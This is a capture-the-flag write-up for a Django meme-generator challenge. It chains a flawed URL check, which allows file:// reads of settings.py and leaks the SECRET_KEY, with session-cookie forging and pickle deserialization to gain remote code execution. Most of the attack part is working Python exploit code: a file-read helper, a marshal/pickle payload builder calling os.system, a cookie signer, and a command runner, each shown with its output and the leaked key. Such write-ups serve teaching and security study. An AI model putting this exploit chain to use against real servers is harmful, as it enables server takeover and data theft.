$plugins['authad'] = '0'; $plugins['authldap'] = '1'; $plugins['authmysql'] = '0'; $plugins['authpgsql'] = '0';
Django web app with pickled cookie-stored signed sessions.
The Plague seems obsessed with internet memes, though we don't yet know why. Perhaps there is a clue to what he's up to on this server (epilepsy warning). If only you could break in…. Here is some of the source.
The source code was provided.
reekee is a Django web application that lets users create memes. To use the application, the user has to register an account, and once logged in, the application can download an image from an URL, and overlay a text. Both the URL and the text are user inputs. The website will also display all memes created by a user on his private page.
The session data is stored in a signed cookie, and is serialized using Python's pickle module, which means we can execute code. Moreover, we can read any file on the server by using URLs that start with file://
- this allows us to read the configuration file storing the secret used by the cookie signing mechanism. There is an attempt to sanitize the user input against this, but it's bogus.
The remote server running the application was accessible at http://54.82.251.203:8000/
. You can download the source code, and easily run a local instance of the application:
~$ tar xf reekee.tar.gz ; cd reekee ~/reekee$ sudo apt-get install python-django ~/reekee$ mkdir /tmp/memes ~/reekee$ python manage.py syncdb ~/reekee$ python manage.py runserver [...] Development server is running at http://127.0.0.1:8000/ [...]
You should also change mymeme/settings.py:27
to ALLOWED_HOSTS = ['127.0.0.1']
, or mymeme/settings.py:23
to DEBUG = False
(why?), which might also help a lot for debugging. Also, you might want to comment out templates/head.html:43
if you value your sanity.
We can start exploring the attack surface by analyzing the views.py
, and urls.py
files. The latter is a configuration file that maps URL patterns to their handler functions, which are defined in the former. An general overview of a Django application is presented in the official documentation. The views.py
file handles user input in the following functions:
logmein()
, logmeout()
: dispatches credentials to the Django authentication systemregister()
: creates a new user with an associated storage directory; filters username strings containing '..
' or '/
'makememe()
: reads, modifies, and saves an image retrieved from a user-provided URLviewmeme()
: retrieves all memes (images) belonging to the logged in user
The last 2 handlers look promising, letting us read/save data (on the server's storage), and retrieve it later. But, before we start building our attack, let’s also take a glance at settings.py
:
SECRET_KEY
constant that should clearly not be leaked
Going through Django's documentation about cookie-based sessions, we discover a big warning confirming the previous hints: If the SECRET_KEY
is not kept secret and you are using the PickleSerializer
, this can lead to arbitrary remote code execution.
L337! Now, lets move on and take over the world in 3 easy steps!
Uniform Resource Locators (URLs) provide a general string representation of resources. Resources (e.g., web pages, files) can be accessed in different ways, thus an URL starts with a scheme followed by :
, and a scheme-specific part. Applications (in our case, the urllib2
Python library) will use different retrieval mechanisms, or handlers, for each specific scheme (e.g., http, ftp, file, telnet, mailto).
In the makememe()
function, the programmer's intention is to only allow HTTP URLs, but the if condition is bogus, and will pass if http://
is present anywhere in the string, not just in the beginning, as a scheme specifier.
81: if "http://" in url: 82: image = urllib2.urlopen(url) 83: else: 84: image = urllib2.urlopen("http://"+url)
This bug lets us use "file://<path>#http://"
to read any file on the server. The special "#"
is used to specify a fragment of the resource, and is ignored by the file scheme handler, but it helps us pass the if condition.
It is worthwhile to note that the retrieved file is parsed using the PIL.Image
library, but even if this will fail in our case (because we don't read valid images), it will already be written to disk (see views.py:91
).
To use this, we'll have to create a new user (you don’t have to do this each and every time, of course), create a meme using the file scheme URL, and, finally, read back the created meme (using the page handled by viewmeme()
). Let’s create a new attack.py
file, and prepare a read_server_file()
routine as follows:
import requests, random, string def read_server_file(path, target='http://127.0.0.1:8000/'): client = requests.Session() # maintains cookies between requests client.get(target + 'register') # get csrf token u = p = ''.join(random.sample(string.ascii_letters, 10)) client.post( target + 'register', data = { 'username': u, 'password': p, 'csrfmiddlewaretoken': client.cookies['csrftoken'], }, ) # the user remains logged in after registration client.post( target + 'makememe', data = { 'url': 'file://%s#http://' % path, 'text': '', 'csrfmiddlewaretoken': client.cookies['csrftoken'], }, ) return client.get(target + 'view/0').text
Note that we need to get and pass the CSRF token around, but this has nothing to do with the vulnerability, or with our exploit. We are just emulating what a browser would do. The structure of the POST requests (e.g., names of parameters) was obtained by inspecting the HTML forms generated by the application during normal operation.
This vulnerability lets us leak the remote SECRET_KEY
by reading the settings.py
file:
~/reekee$ python -c "import attack; \ print attack.read_server_file('/proc/self/cwd/mymeme/settings.py')" [...] SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-' [...]
Next, we are going to look at how an attacker can manipulate the cookie-stored serialized session data such that arbitrary code will get executed when the server application tries to deserialize a malicious payload while handling a request. More details about cookie-stored sessions are presented in the official Django documentation. Of course, the Django framework is cryptographically signing the cookies, so the attacker shouldn't be able to modify them, but we already leaked the secret key used for this in the previous step. The next step will show how the signature can be forged.
We are going to step back from the specifics of the reekee application, and take a look at how arbitrary code can be executed code when the pickle module is deserializing. This attack is possible as a result of how the pickle module works - more exactly, it encodes the objects in code for a custom stack-based machine that gets executed during deserialization.
The pickle module pops up in many Python application vulnerabilities. A very good overview of the advantages, disadvantages, and alternative serialization methods, was recently given at PyCon 2014 during the Pickles are for Delis, not Software presentation by Alex Gaynor. Another good reference for attacking the pickle mechanism is Sour Pickles, by Marco Slaviero, presented at BlackHat USA 2011. For this task we used the straight forward instructions from Arbitrary code execution with Python pickles, by Stephen Checkoway.
Without further ado, here's our attack using the template from the latter article:
import base64, marshal PAYLOAD_TEMPLATE = '''ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'%s' tRtRc__builtin__ globals (tRS'' tR(S'%s' tR.''' def build_pickle_payload(cmd): def foo(c): import os os.system(c) m = marshal.dumps(foo.func_code) return PAYLOAD_TEMPLATE % (base64.b64encode(m), cmd)
And a short test to test the functionality:
~/reekee$ python -c "import cPickle, attack; \ cPickle.loads(attack.build_pickle_payload('echo HxC-RU1z'))" HxC-RU1z
There is a slight change in the template that allows us to also pass a cmd
parameter to foo()
. As an exercise, try to understand the template (see the referenced article) and modify it such that the parameter is also passed as a base64-encoded string. It can be done in 2 ways.
Finally, the most involved part was figuring out exactly how Django signs it's pickled session data. You can find the relevant code on GitHub, the 1.5.x branch:
PickleSerializer
class in django.contrib.sessions.serializersSessionStore.load()
method in django.contrib.sessions.backends.signed_cookies
The SessionBase.loads()
method sets the salt (just a string), and dispatches to the signing.loads()
function.
2: from django.core import signing [...] 9: def load(self): 10: """ 11: We load the data from the key itself instead of fetching from 12: some external data store. Opposite of _get_session_key(), 13: raises BadSignature if signature fails. 14: """ 15: try: 16: return signing.loads(self.session_key, 17: serializer=self.serializer, 18: # This doesn't handle non-default expiry dates, see #19201 19: max_age=settings.SESSION_COOKIE_AGE, 20: salt='django.contrib.sessions.backends.signed_cookies') 21: except (signing.BadSignature, ValueError): 22: self.create() 23: return {}
In signing.loads()
, the secret key used by the TimestampSigner seems to be None, but if you check it’s base class, Signer
, you will observe it uses the SECRET_KEY from settings
as a default: 164: self.key = str(key or settings.SECRET_KEY)
.
139: def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None): 140: """ 141: Reverse of dumps(), raises BadSignature if signature fails. 142 143: The serializer is expected to accept a bytestring. 144: """ 145: # TimestampSigner.unsign always returns unicode but base64 and zlib 146: # compression operate on bytes. 147: base64d = force_bytes(TimestampSigner(key, salt=salt).unsign(s, max_age=max_age)) 148: decompress = False 149: if base64d[:1] == b'.': 150: # It's compressed; uncompress it first 151: base64d = base64d[1:] 152: decompress = True 153: data = b64_decode(base64d) 154: if decompress: 155: data = zlib.decompress(data) 156: return serializer().loads(data)
Cool! We now have all the pieces needed to properly sign a malicious payload. We are going to recreate a striped down serialization counter-part of the above function, similar to the real signing.dumps()
. We don't need to call the actual serializer (we've already done that), and we don't need the compression part.
from django.core.signing import TimestampSigner, b64_encode from django.utils.encoding import force_bytes # get this using read_server_file('/proc/self/cwd/mymeme/settings.py') SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-' def rotten_cookie(payload): key = force_bytes(SECRET_KEY) salt = 'django.contrib.sessions.backends.signed_cookies' base64d = b64_encode(payload) return TimestampSigner(key, salt=salt).sign(base64d)
The final attack sends a GET request with the malicious cookie, which will run the provided command with the output redirected to a temporary file, which in turn will be read back using the initial path manipulation vulnerability.
def run(cmd, target='http://127.0.0.1:8000/'): outp = ''.join(random.sample(string.ascii_letters, 10)) p = build_pickle_payload(cmd + ' > /tmp/' + outp) c = rotten_cookie(p) requests.get(target + 'index', cookies=dict(sessionid=c)) return read_server_file('/tmp/' + outp, target)
~/reekee$ python -c "import attack; print attack.run('ls')" give_me_the_flag.exe mymeme use_exe_to_read_me.txt
The .txt file can only be read with the setuid .exe binary. This prevents directly reading the flag file with the first vulnerability, and requires the complete code execution exploit.
~/reekee$ python -c "import attack; print attack.run('./give_me_the_flag.exe')" flag: why_did_they_make_me_write_web_apps
Complete source code of the final exploit: attack.tar.gz